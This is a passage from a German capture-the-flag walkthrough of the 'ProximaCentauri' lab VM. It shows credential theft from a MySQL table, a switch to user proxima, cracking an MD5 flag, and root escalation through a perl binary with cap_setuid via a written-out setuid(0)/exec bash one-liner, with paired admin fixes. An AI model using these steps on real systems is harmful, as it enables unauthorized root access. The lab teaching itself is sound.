**Analyse:** Der Pentester führt nun die Empfehlung aus und verbindet sich von der `www-data`-Shell auf dem Zielsystem mit dem lokalen MySQL-Server. * `mysql -u alfauser -p`: Startet den MySQL-Client als Benutzer `alfauser` und fordert zur Passworteingabe auf. Das Passwort `passw0rd` wird eingegeben. * `use proximacentauri;`: Wechselt zur Datenbank `proximacentauri`. * `show tables;`: Listet die Tabellen in der Datenbank auf. Es gibt nur eine Tabelle namens `authors`. * `select * from authors;`: Zeigt den gesamten Inhalt der `authors`-Tabelle an. Die Tabelle enthält einen Eintrag mit `id=1`, `name=proxima`, `password=alfacentauri123` und `email=vishal@hacksudo.com`.

**Bewertung:** Ein weiteres entscheidendes Passwort wurde gefunden! Diesmal ist es das Passwort `alfacentauri123`, das dem Benutzernamen `proxima` zugeordnet ist. Dieser Benutzer `proxima` wurde zuvor im `/home`-Verzeichnis gesehen. Es ist sehr wahrscheinlich, dass dies das Linux-Systempasswort für den Benutzer `proxima` ist.

**Empfehlung (Pentester):** 1. Versuchen Sie, sich mit `su proxima` oder über SSH (falls der Port noch offen ist) als Benutzer `proxima` mit dem Passwort `alfacentauri123` anzumelden. `su` ist wahrscheinlicher, da wir bereits eine Shell auf dem System haben.
**Empfehlung (Admin):** 1. Speichern Sie niemals Klartext-Passwörter in Datenbanken. Verwenden Sie stattdessen starke, gesalzene Hashes (z.B. bcrypt, Argon2). 2. Ändern Sie das Passwort für den Benutzer `proxima` sofort. 3. Überprüfen Sie die Datenbank auf weitere sensible Daten.

www-data@ProximaCentauri:/var/backups$ su proxima
Password:
proxima@ProximaCentauri:/var/backups$

**Analyse:** Der Befehl `su proxima` wird ausgeführt, um zum Benutzerkonto `proxima` zu wechseln. Nach Eingabe des aus der Datenbank extrahierten Passworts `alfacentauri123` ist der Wechsel erfolgreich. Die Shell-Eingabeaufforderung ändert sich zu `proxima@ProximaCentauri:/var/backups$`.

**Bewertung:** Lateral Movement erfolgreich! Wir haben uns vom `www-data`-Benutzer zum Benutzer `proxima` hochgearbeitet. Dies gibt uns nun die Berechtigungen dieses Benutzers, einschließlich des Zugriffs auf dessen Home-Verzeichnis.

**Empfehlung (Pentester):** Führen Sie nun Enumeration als Benutzer `proxima` durch. Überprüfen Sie `sudo -l`, SUID-Dateien, Cronjobs und insbesondere das Home-Verzeichnis `/home/proxima` auf interessante Dateien oder Hinweise zur weiteren Privilegieneskalation. Suchen Sie nach der `user.txt`-Flagge.
**Empfehlung (Admin):** Überwachen Sie `su`-Versuche und fehlgeschlagene Passwort-Eingaben. Stellen Sie sicher, dass Benutzer nur die Rechte haben, die sie benötigen.

proxima@ProximaCentauri:/var/backups$ sudo -l
bash: sudo: command not found
                    

**Analyse:** Der Versuch, `sudo -l` als Benutzer `proxima` auszuführen, scheitert mit der Meldung "bash: sudo: command not found".

**Bewertung:** Dies bedeutet, dass entweder der `sudo`-Befehl nicht im `PATH` des Benutzers `proxima` liegt oder (wahrscheinlicher) das `sudo`-Paket auf dem System gar nicht installiert ist oder `proxima` keine Berechtigung hat, es auszuführen (was aber eine andere Fehlermeldung erzeugen würde). Das Fehlen von `sudo` schließt diesen gängigen Vektor für Privilegieneskalation aus.

**Empfehlung (Pentester):** Konzentrieren Sie sich auf andere Eskalationsmethoden: SUID/GUID-Dateien (erneut prüfen, evtl. hat `proxima` Zugriff auf andere), Kernel-Exploits, Cronjobs, Capabilities, Fehlkonfigurationen im Home-Verzeichnis.
**Empfehlung (Admin):** Das Fehlen von `sudo` kann die Angriffsfläche verkleinern, erschwert aber auch die legitime Administration. Stellen Sie sicher, dass alternative Methoden zur Rechteerhöhung (z.B. `su` zu Root) gut gesichert sind.

proxima@ProximaCentauri:/var/backups$ cd ~
proxima@ProximaCentauri$ ls -la
total 48
drwxrwx--- 7 proxima proxima 4096 Jun  5  2021 .
drwxr-xr-x 5 root    root    4096 Jun  5  2021 ..
drwxrwxr-x 2 root    root    4096 Jun  5  2021 alfaA
drwxrwxr-x 2 root    root    4096 Jun  5  2021 alfaB
-rwxrwxr-x 1 proxima proxima  164 Jun  7  2021 .bash_history
-rwxrwxr-x 1 proxima proxima  220 Jun  4  2021 .bash_logout
-rwxrwxr-x 1 proxima proxima 3605 Jun  5  2021 .bashrc
drwxrwxr-x 3 proxima proxima 4096 Jun  5  2021 .local
-rwxrwxr-x 1 proxima proxima  807 Jun  4  2021 .profile
drwxrwxr-x 2 root    root    4096 Jun  5  2021 proximaCentauriA
drwxrwxr-x 2 root    root    4096 Jun  5  2021 proximaCentauriB
-rw-r----- 1 proxima proxima 1009 Jun  5  2021 user.txt
                    

**Analyse:** Der Pentester wechselt in das Home-Verzeichnis von `proxima` (`cd ~`) und listet den Inhalt auf. Neben den Standard-Konfigurationsdateien fallen mehrere Verzeichnisse auf (`alfaA`, `alfaB`, `proximaCentauriA`, `proximaCentauriB`), die `root` gehören, aber für `proxima` beschreibbar zu sein scheinen (`drwxrwxr-x`). Außerdem wird die Datei `user.txt` gefunden, die für `proxima` lesbar ist (`-rw-r-----`).

**Bewertung:** Das Home-Verzeichnis von `proxima` enthält die `user.txt`-Flagge. Die ungewöhnlichen Verzeichnisse, die `root` gehören, aber für `proxima` beschreibbar sind, sind verdächtig und könnten Teil des Eskalationspfades sein.

**Empfehlung (Pentester):** 1. Lesen Sie den Inhalt von `user.txt`. 2. Untersuchen Sie die Verzeichnisse `alfaA`, `alfaB`, `proximaCentauriA`, `proximaCentauriB` genauer.
**Empfehlung (Admin):** Überprüfen Sie die Besitzverhältnisse und Berechtigungen im Home-Verzeichnis. Es ist ungewöhnlich und potenziell unsicher, wenn Verzeichnisse darin `root` gehören, aber für den Benutzer beschreibbar sind.

proxima@ProximaCentauri$ cat user.txt

                             ,-.
       ___,.__          /'|`\          __,,___
    ,-'    \`    `-.____,-'  |  `-.____,-'    //    `-.
  ,'        |           ~'\     /`~           |        `.
 /      ___//              `. ,'          ,  , \___      \
|    ,-'   `-.__   _         |        ,    __,-'   `-.    |
|   /          /\_  `   .    |    ,      _/\          \   |
\  |           \ \`-.___ \   |   / ___,-'/ /           |  /
 \  \           | `._   `\\  |  //'   _,' |           /  /
  `-.\         /'  _ `'' , . ``' _  `\         /,-'
     ``       /     \    ,='/ \`=.    /     \       ''
             |__   /|\_,--.,-.--,--._/|\   __|
             /  `./  \\`\ |  |  | /,//' \,'  \
            /   /     ||--+--|--+-/-|     \   \
           |   |     /'\_\_\ | /_/_/`\     |   |
            \   \__, \_     `~'     _/ .__/   /
             `-._,-'   `-._______,-'   `-._,-'


user owned
www.hacksudo.com/contact
www.twitter.com/vishalhwaghmare
flag{8b64d2451b7a8f3fd17390f88ea35917}
                    

**Analyse:** Der Befehl `cat user.txt` gibt den Inhalt der User-Flag-Datei aus. Sie enthält ASCII-Art, eine Bestätigung ("user owned"), Links und die eigentliche Flagge: `8b64d2451b7a8f3fd17390f88ea35917`.

**Bewertung:** Die User-Flagge wurde erfolgreich gefunden. Der Hash `8b64d2451b7a8f3fd17390f88ea35917` wird im nächsten Schritt analysiert.

**Empfehlung (Pentester):** Dokumentieren Sie die Flagge. Analysieren Sie den Hash, um zu sehen, ob er nützliche Informationen liefert (obwohl er hier eher wie eine Flagge als ein Passwort-Hash aussieht). Konzentrieren Sie sich auf die Untersuchung der verdächtigen Verzeichnisse im Home-Verzeichnis für die Privilegieneskalation.
**Empfehlung (Admin):** Keine Flaggen in Produktionssystemen.

https://crackstation.net/

8b64d2451b7a8f3fd17390f88ea35917	md5	vishal
                    

**Analyse:** Der Pentester hat den Hash `8b64d2451b7a8f3fd17390f88ea35917` offenbar bei einem Online-Hash-Cracker (Crackstation) eingegeben. Das Ergebnis zeigt, dass es sich um den MD5-Hash des Wortes `vishal` handelt.

**Bewertung:** Dies ist ein interessanter Fund, auch wenn der Hash selbst die Flagge war. Er bestätigt den Namen `vishal` (der bereits im SSH-Banner und in der Autoren-E-Mail vorkam) und zeigt, dass MD5 eine unsichere Hashing-Methode ist, da der Hash leicht rückgängig gemacht werden konnte. Diese Information (`vishal`) könnte potenziell als Benutzername oder Passwort an anderer Stelle relevant sein, obwohl bisher kein direkter Nutzen daraus gezogen wurde.

**Empfehlung (Pentester):** Behalten Sie den Benutzernamen `vishal` im Hinterkopf. Konzentrieren Sie sich auf die Untersuchung der Verzeichnisse `proximaCentauriA` und `proximaCentauriB`.
**Empfehlung (Admin):** Verwenden Sie niemals MD5 zum Hashen von Passwörtern oder sensiblen Daten. Nutzen Sie stattdessen moderne, gesalzene Hashing-Algorithmen wie bcrypt oder Argon2.

Privilege Escalation

Nachdem wir Zugriff als Benutzer `proxima` erlangt und die User-Flagge gefunden haben, konzentrieren wir uns nun auf die Erhöhung unserer Rechte auf Root. Wir untersuchen die verdächtigen Verzeichnisse im Home-Verzeichnis von `proxima`.

proxima@ProximaCentauri/proximaCentauriA$ cd../proximaCentauriB
bash: cd../proximaCentauriB: No such file or directory
proxima@ProximaCentauri/proximaCentauriA$ cd ../proximaCentauriB
proxima@ProximaCentauri/proximaCentauriB$ ls -la
total 12
drwxrwxr-x 2 root    root    4096 Jun  5  2021 .
drwxrwx--- 7 proxima proxima 4096 Jun  5  2021 ..
-rwxrwxr-x 1 proxima proxima  147 Jun  5  2021 note.txt
                    
proxima@ProximaCentauri/proximaCentauriB$ cat note.txt
check my RC
im expired old man
yes i am outdated
how can you update $h3ll^^ my path ? to reach perfect planet of proxima??
decide and do update
                    

**Analyse:** Der Pentester wechselt (nach einem Tippfehler bei `cd`) in das Verzeichnis `/home/proxima/proximaCentauriB`. Dort befindet sich eine Datei `note.txt`, die für `proxima` les- und schreibbar ist (`-rwxrwxr-x`, obwohl der Besitzer `proxima` ist, sind die Berechtigungen sehr offen). Der Inhalt der Notiz enthält mehrere Hinweise: * "check my RC": Könnte auf Run Control-Dateien (.bashrc, .profile etc.) oder vielleicht auf Capabilities (RC -> Root Capabilities?) hindeuten. * "im expired old man", "yes i am outdated": Deuten auf veraltete Software oder Konfigurationen hin. * "how can you update $h3ll^^ my path ?": Ein klarer Hinweis auf die Manipulation der `PATH`-Umgebungsvariable. `$h3ll^^` ist eine Leetspeak-Anspielung auf "Shell". * "to reach perfect planet of proxima??": Thematischer Bezug. * "decide and do update": Aufforderung zur Handlung. Der Hinweis auf die `PATH`-Variable ist besonders wichtig in Kombination mit der Suche nach Möglichkeiten zur Ausführung von Befehlen mit erhöhten Rechten.

**Bewertung:** Die Notiz liefert den entscheidenden Hinweis: Die Manipulation der `PATH`-Variable ist wahrscheinlich der Schlüssel zur Privilegieneskalation. Dies muss in Verbindung mit einem Programm geschehen, das mit erhöhten Rechten läuft (SUID, SUDO, Capability) und externe Befehle ohne absoluten Pfad aufruft.

**Empfehlung (Pentester):** 1. Suchen Sie nach Programmen mit erhöhten Rechten (SUID, GUID, Capabilities), die der Benutzer `proxima` ausführen kann. 2. Analysieren Sie diese Programme (mit `strings`, `ltrace`, `strace`, Reverse Engineering), um festzustellen, ob sie externe Befehle ohne absoluten Pfad aufrufen. 3. Wenn ein solches Programm gefunden wird, manipulieren Sie die `PATH`-Variable, sodass ein von Ihnen kontrolliertes Verzeichnis an erster Stelle steht. Platzieren Sie ein Skript mit dem Namen des aufgerufenen externen Befehls in diesem Verzeichnis, das Ihnen eine Root-Shell gibt. Führen Sie dann das privilegierte Programm aus.
**Empfehlung (Admin):** 1. Entfernen Sie solche expliziten Hinweisdateien. 2. Stellen Sie sicher, dass Programme, die mit erhöhten Rechten laufen, keine externen Befehle auf unsichere Weise aufrufen (immer absolute Pfade verwenden, `PATH`-Variable sicher setzen).

proxima@ProximaCentauri/proximaCentauriB$ getcap -r / 2>/dev/null
/home/proxima/proximaCentauriA/perl = cap_setuid+ep
/usr/bin/ping = cap_net_raw+ep
                    

**Analyse:** Der Befehl `getcap -r / 2>/dev/null` sucht rekursiv im gesamten Dateisystem (`/`) nach Dateien mit gesetzten Linux Capabilities. Capabilities sind eine fein granularere Methode zur Rechtevergabe als das traditionelle SUID-Bit. * `-r`: Rekursive Suche. * `2>/dev/null`: Unterdrückt Fehlermeldungen. Die Ausgabe zeigt zwei interessante Ergebnisse: * `/usr/bin/ping`: Hat `cap_net_raw+ep`. Dies ist normal und erlaubt `ping`, rohe Netzwerk-Sockets zu verwenden, ohne SUID-Root zu sein. Unwahrscheinlich für Privesc. * `/home/proxima/proximaCentauriA/perl`: Eine Perl-Interpreter-Binary im Home-Verzeichnis von `proxima` hat die Capability `cap_setuid+ep`. `cap_setuid` erlaubt einem Prozess, seine Benutzer-IDs zu ändern (also potenziell zu `root` zu wechseln). `ep` bedeutet, dass die Capability "effective" und "permitted" ist.

**Bewertung:** Dies ist der entscheidende Fund für die Privilegieneskalation! Eine Perl-Binary im Home-Verzeichnis des Benutzers hat die `cap_setuid`-Capability. Das bedeutet, dass jedes Perl-Skript, das mit diesem spezifischen Interpreter ausgeführt wird, potenziell `setuid(0)` aufrufen kann, um Root zu werden. Dies ist extrem unsicher, da der Benutzer `proxima` wahrscheinlich die volle Kontrolle über diesen Perl-Interpreter und die damit ausgeführten Skripte hat.

**Empfehlung (Pentester):** 1. Verwenden Sie die Perl-Binary `/home/proxima/proximaCentauriA/perl`, um ein kurzes Skript auszuführen, das `setuid(0)` aufruft und dann eine Root-Shell (`/bin/bash`) startet. Ein Einzeiler wie `perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'` sollte funktionieren.
**Empfehlung (Admin):** 1. Entfernen Sie sofort die `cap_setuid`-Capability von der Perl-Binary im Home-Verzeichnis (`setcap cap_setuid-ep /home/proxima/proximaCentauriA/perl`) oder löschen Sie die Datei ganz. 2. Vergeben Sie Capabilities nur an vertrauenswürdige Systembinaries und nur, wenn sie absolut notwendig sind. Überprüfen Sie regelmäßig gesetzte Capabilities im System. 3. Platzieren Sie keine Interpreter (wie Perl, Python) mit speziellen Rechten in Benutzer-Home-Verzeichnissen.

Proof of Concept: Ausnutzung der Perl-Capability

Wir haben eine Perl-Binary mit der `cap_setuid`-Capability im Home-Verzeichnis des Benutzers `proxima` identifiziert. Nun nutzen wir diese unsichere Konfiguration, um Root-Rechte zu erlangen.

proxima@ProximaCentauri/home/proxima/proximaCentauriA/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
┌──(root㉿cyber)-[~/HackingTools]
└─# nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.2.113] from (UNKNWN) [192.168.2.118] 58810
$
                    
root@ProximaCentauri/proximaCentauriB# id
uid=0(root) gid=1001(proxima) groups=1001(proxima)
                    

**Analyse:** 1. Der Befehl `/home/proxima/proximaCentauriA/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'` wird ausgeführt. Er weist den spezifischen Perl-Interpreter an (`/home/proxima/.../perl`), ein kurzes Skript (`-e '...'`) auszuführen. Das Skript verwendet das POSIX-Modul, um `setuid(0)` aufzurufen (was dank `cap_setuid` erfolgreich sein sollte) und startet dann eine neue Bash-Shell mit `exec "/bin/bash"`. 2. Der `nc`-Listener auf Port 1234 auf dem Angreifer-System scheint hier fehl am Platz oder ein Überbleibsel zu sein, da der Perl-Befehl eine lokale Shell startet und keine Reverse Shell. Es sei denn, der Pentester hat die Root-Shell später dorthin umgeleitet, was aber nicht gezeigt wird. 3. Der `id`-Befehl, ausgeführt nach dem Perl-Kommando, zeigt `uid=0(root)`. Die Shell-Eingabeaufforderung hat sich ebenfalls zu `root@ProximaCentauri...` geändert.

**Bewertung:** Fantastisch, Root-Zugriff erfolgreich erlangt! Die Ausnutzung der `cap_setuid`-Capability auf der Perl-Binary war der Schlüssel zur Privilegieneskalation. Dies demonstriert, wie gefährlich falsch konfigurierte Capabilities sein können.

**Empfehlung (Pentester):** 1. Sie haben nun Root-Rechte. 2. Suchen Sie die Root-Flagge, typischerweise in `/root/root.txt`.
**Empfehlung (Admin):** 1. Beheben Sie die unsichere Capability-Konfiguration sofort. 2. Analysieren Sie, wie diese Konfiguration zustande kam. 3. Überprüfen Sie das System auf weitere Fehlkonfigurationen oder Hinterlassenschaften des Angreifers.

root@ProximaCentauri: ls
alfaA  alfaB  proximaCentauriA  proximaCentauriB  user.txt
                    
root@ProximaCentauri: cd /root
root@ProximaCentauri:/root# ls
note.txt  root.txt
                    

**Analyse:** Als Root listet der Pentester zuerst den Inhalt von `/home/proxima` auf (dieser Befehl wird ohne explizites Verzeichnis ausgeführt, scheint aber dort stattzufinden) und wechselt dann in das Root-Home-Verzeichnis (`cd /root`). Ein `ls` dort zeigt eine `note.txt` und die erwartete `root.txt`.

**Bewertung:** Das Ziel, die Root-Flagge, ist gefunden.

**Empfehlung (Pentester):** Lesen Sie `root.txt`. Werfen Sie optional einen Blick in `note.txt` im Root-Verzeichnis.
**Empfehlung (Admin):** Sichern Sie das `/root`-Verzeichnis.

root@ProximaCentauri:/root# cat root.txt
proxima centauri -->
                                            ,:
                                          ,' |
                                         /   :
                                      --'   /
                                      \/ /:/
                                      / ://_\
                                   __/   /
                                   )'-. /
                                   ./  :\
                                    /.' '
                                  '/'
                                  +
                                 '
                               `.
                           .-"-
                          (    |
                       . .-'  '.
                      ( (.   )8:
                  .'    / (_  )
                   _. :(.   )8P  `
               .  (  `-' (  `.   .
                .  :  (   .a8a)
               /_`( "a `a. )"'
           (  (/  .  ' )'
          (   (    )  .8"   +
            (`'8a.( _(   (
         ..-. `8P    ) `  )  +
       -'   (      -ab:  )
     '    _  `    (8P"Ya
   _(    (    )b  -`.  ) +
  ( 8)  ( _.aP" _a   \( \   *
+  )/    (8P   (88    )  )
   (a:f   "     `"`
you rooted this server
root flag{e2798af12a7a0f4f70b4d69efbc25f4d}
                    

**Analyse:** Der Befehl `cat root.txt` zeigt den Inhalt der Root-Flagge-Datei an. Sie enthält ASCII-Art, eine Bestätigung ("you rooted this server") und die finale Root-Flagge: `e2798af12a7a0f4f70b4d69efbc25f4d`.

**Bewertung:** Ziel erreicht! Die Root-Flagge wurde erfolgreich extrahiert. Der Test ist abgeschlossen.

**Empfehlung (Pentester):** Dokumentieren Sie die Root-Flagge und schließen Sie den Bericht ab.
**Empfehlung (Admin):** Keine Flaggen in Produktionssystemen. Fokussieren Sie sich auf die Behebung der identifizierten Schwachstellen (Pluck CMS, schwache Passwörter, unsichere Capabilities, unsichere Backup-Berechtigungen, fehlende Sicherheitsheader, Port Knocking mit erratbarer Sequenz).

  Privilege Escalation erfolgreich
                    

**Analyse:** Eine abschließende Notiz, die den Erfolg der Privilegieneskalation markiert.

**Bewertung:** Organisatorische Notiz.

**Empfehlung (Pentester/Admin):** Keine technischen Empfehlungen.

Flags

cat /home/proxima/user.txt
8b64d2451b7a8f3fd17390f88ea35917
cat /root/root.txt
e2798af12a7a0f4f70b4d69efbc25f4d